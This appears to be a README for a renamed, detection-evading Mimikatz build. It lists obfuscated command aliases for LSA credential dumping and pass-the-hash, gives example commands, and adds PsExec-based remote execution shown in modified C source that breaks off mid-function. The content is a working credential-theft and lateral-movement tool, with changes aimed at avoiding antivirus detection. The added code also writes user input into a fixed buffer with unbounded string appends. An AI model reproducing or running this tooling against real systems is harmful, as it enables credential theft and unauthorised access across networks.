# Updates to the Mimikatz bin

In 

The original mimikatz version used can be found at: https://github.com/gentilkiwi/mimikatz

Modifications:

  • Mimikatz was renamed to DvKGMmGn.exe
  • Renamed all common files/functions.
  • Removed descriptive strings, and other strings as seen.
  • Stripped out unused functionality
  • Changed icon

# Command Changes

  • privilege::debug is now pr::d
  • sekurlsa - slsa
  • lsadump - lsdu
  • logonpasswords - lop
  • privilege - pr
  • token - mrio
  • elevate - 1up
  • pass the hash is now called with slsa::htp
  • logonpasswords is called with slsa::lop
  • lsadump::lsa is now lsdu::go (/inject is now /ynot) (/patch is now /pooch)
  • exit was changed to quit

# Custom PSExec Commands

  • Adding /remotepc:<pcname> to pass-the-hash is the first argument to initiate psexec and is always required. (you do not need to add backslashes \\)
  • The path to psexec is always required: /pexe:C:\Path\to\PSExec.exe
  • If you want to execute psexec's -c command then you use: /prun:c:\path\to\executable.exe
  • Output console text to a file: /out:C:\outfile.txt (adds > c:\outfile.txt to the psexec command)
  • Use /sys:1 to add psexec -s (run as system).

Full mimikatz command executing psexec -c:

.\mimikatz.exe "slsa::htp /user:sbusby /ntlm:xxx /domain:. /remotepc:1.2.3.4 /pexe:C:\psexec.exe /sys:1 /prun:C:\Windows\System32\calc.exe /out:C:\outfile.txt" "quit"

Resulting command created/executed by mimikatz:

C:\psexec.exe \\1.2.3.4 -accepteula -s -c C:\Windows\System32\calc.exe > C:\outfile.txt
# Executing example commands

Executing an LSA Dump: mimikatz.exe "privilege::d lsdu::go /ynot"

# Adjustments made to mimikatz PTH function

The pass-the-hash function was modified to accept additional arguments since mimikatz PTH did not allow for arguments as a part of the PTH command.

NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[])
{
 BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH];
 TOKEN_STATISTICS tokenStats;
 SEKURLSA_PTH_DATA data = {&tokenStats.AuthenticationId, NULL, NULL, NULL, FALSE};
 PWCHAR szUser, szDomain, szRun, szNTLM, szAes128, szAes256, szLuid, szRemotePC, szpsSys, szpsPath, szpsRunPath, szOutPath, szpsCopyRunPath = NULL;
 DWORD dwNeededSize;
 HANDLE hToken, hNewToken;
 PROCESS_INFORMATION processInfos;
 BOOL isImpersonate;
 WCHAR result[1024];   // array to hold the result.
 PCWCHAR dblBack = L"\\\\";
 PCWCHAR space = L" ";

 if(kull_m_string_args_byName(argc, argv, L"luid", &szLuid, NULL))
 {
  tokenStats.AuthenticationId.HighPart = 0; // because I never saw it != 0
  tokenStats.AuthenticationId.LowPart = wcstoul(szLuid, NULL, 0);
 }
 else
 {
  if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
  {
   if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
   {
    isImpersonate = kull_m_string_args_byName(argc, argv, L"impersonate", NULL, NULL);
#pragma warning(push)
#pragma warning(disable:4996)

    if (kull_m_string_args_byName(argc, argv, L"pexe", &szpsPath, NULL)) //psexec path
    {
     if (kull_m_string_args_byName(argc, argv, L"remotepc", &szRemotePC, NULL)) //remote pc path
     {
      if (kull_m_string_args_byName(argc, argv, L"prun", &szpsRunPath, NULL)) //file to execute
      {
       PCWCHAR cmd2 = L" -accepteula -c ";

       wcscpy(result, szpsPath); // copy string one into the result.
       wcscat(result, space);  // space
       wcscat(result, dblBack);  // append string two to the result.
       wcscat(result, szRemotePC);
       if (kull_m_string_args_byName(argc, argv, L"sys", &szpsSys, NULL)) //-s (system)
       {
        wcscat(result, L" -s ");
       }
       wcscat(result, cmd2);
       wcscat(result, szpsRunPath);

       if (kull_m_string_args_byName(argc, argv, L"out", &szOutPath, NULL)) //output to file
       {
        PCWCHAR fmt = L" > ";
        wcscat(result, fmt);
        wcscat(result, szOutPath);
       }
       kull_m_string_args_byName(argc, argv, L"zz", &szRun, isImpersonate ? _wpgmptr : result);
      }
     }
    }
    else
    {
     kull_m_string_args_byName(argc, argv, L"run", &szRun, isImpersonate ? _wpgmptr : L"cmd.exe");
    }